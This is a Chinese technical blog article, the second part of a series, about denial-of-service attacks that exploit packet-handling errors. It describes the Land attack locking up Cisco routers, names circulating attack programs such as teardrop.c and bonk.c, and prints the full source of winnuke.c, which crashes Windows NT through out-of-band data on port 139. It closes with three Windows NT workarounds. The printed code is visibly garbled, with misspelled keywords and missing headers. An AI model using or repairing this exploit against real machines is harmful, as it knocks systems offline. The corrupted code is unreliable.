利用处理程序错误攻击(下)
3 Land攻击工具 Land也是一个很厉害的攻击工具,有人专门用Land对某种路由器进行了测试,结果发现,当对23端口进行 攻击,路由器再也不能连到本地网上或域网外部。前面面板上的灯也停止了闪烁,用ping没有响应, tenlnet命令也无效。此时,唯一的选择便是来一个硬重启动。如下是对Land攻击cisco路由器的一番描述: “当攻击端口23时,它果然锁住了路由器,此时,路由器再也不能到达内部的局域网,同样也不能到达外 部的广域网,前面面板上的灯也停止了闪动,这时候,也不能ping通它,也不能telnet到它。唯一的选择 只有来一个硬重启动。“ 可以说对许多使用cisco路由器的网络来说,这一点是非常可怕的。 更有人专门用Land对当前流行的操作系统进行了一番测试,结果是Land可攻击的对象竟然包括了相当多的 操作系统,诸如AIX3、HP-UX 10。20、IRIX Windows 95和Windows NT等当前流行的操作系统。 更为危险的是,在现在的网上,诸如teardrop.c 、bonk.c(55端口)、bionk.c和SSPing.c一类的攻击端口 的源程序到处都是,从编写得很完善的,到一些个人自己编写的简陋的测试程序。任何感兴趣的人,都可 以稍微工花费一些时间研究一下,就可以将他们变成自己的工具。因此,对于系统不是最新的或者还没有 打过“补丁”,对自己的系统打“补丁”确实是当务之急。 4 OOB攻击工具 5.1 攻击代码 OOB是一种专门攻击Windows NT139端口的工具。下面是它的一个可用的版本。可以用它来检测自己系统的 安全性。 /* winnuke.c – (05/07/97) BY –ECI */ /* Tested on Linux 2.0.30,Sunos 5.5.1, and BSDI 2.1 */ #include #include #include #include #include #include #include #define dport 139 /*Attack port; 139 is what we want */ int x,s; char str =”Bye”; /Makes no diff */ struct sockaddr-in addr, spoofedaddr; atruct hostent *host; int opdn-sock(int scok, char *server,int port) { struct sockaddr-in blah; struct hostent *he; bzero ((char*) &blah,sizeof(blah)); blah.sin-family=AF-INET; blah.sin-addr.s-addf=inet-addf(server); blah.sin-port=htons(port); if((he=gethostbyname(server)) ! =NULLL) { bcopy(he->addr,(char*)&blah.sin-addr,he->h-length); } else { if ((blah.sin-addr =inet-addr (server)) <0) { return(-3); } } if (connect (sock,(struct sockaddr *)&blah,16)==-1) { perror(“cinnect()”); close(sock); retuen(-4); } void main (int argc,char *argv[]) { if (argc !=2) { printf(“Usage: %s exit(0); } if ((s =socket(AF-INET,SOCK-STREAM, IPPROTO-TCP)) =-1) { PERROR (“socket()”); Exyt(-1); } open-sock(s,argv[1],dport); printf(“Sending crash …”); send (s, str, atrldn (str),MSG-OOB); usleep (100000); printf(“Done!\n”); close(s); } 10.5.2 一些临时措施 目前有三种临时性的解决方案可用。前两种的后果是用户只能使用拔号网络而无法再使用局域网了, 第三种方法通过包过滤,来阻止对联39端口的访问。因为它需要网卡的支持,所以只用于局域网内部。 方法一: 1. 进入[控制面板]窗口---[网络]对话框---[绑定]选项卡。 2. 打开[显示绑定属于]列表,选择[所有适配器]。 3. 找到[远程访问WAN Wrapper],打开它,找到[WINS客户(TCP/IP)]。 4. 单击[禁用]按钮。 5. 确认后,重新启动系统。 需要注意的是,当登录进Windows NT 4。0时,就会有一个消息框,说明有一些服务或者驱动没有启动。 这是正常的,而且每次启动时都会有。 方法二: 1. 进入[控制面板],找到[设备]图标。 2. 到列表的底部,找到[WINS客户(TCP/IP)]。 3. 单击[停止]按钮,然后单击[关闭]按钮。 4. 重启系统。 这种方法更简洁地实现了第一种方法,但是对一些局域网内的使用WINS TCP/IP客户来说这是一个灾难了。 所以要与系统管理员联系,以决定这样做是否必要 方法三: Windows NT4。0提供了一个选项,可以对端口进行过滤。这可以用来对目标端口是非曲直39的那些数据包 进行过滤。需要知道的是这种方法将对使用NetBIOS产生一些不必要的副作用。 1. 进入[控制面板] ,选择[网络]/[协议]/[TCP/IP] 单击[属性] 按扭。 2. 在IP地址表中,选择[高级]按扭。 3. 在[高级]的TCP/IP属性对话框中,选择封锁哪些端口,允许哪些端口继续使用。 4. 单击[确定],然后退出,重启动系统。 本文出自 51CTO.COM技术博客 |


userli
博客统计信息
热门文章
最新评论
友情链接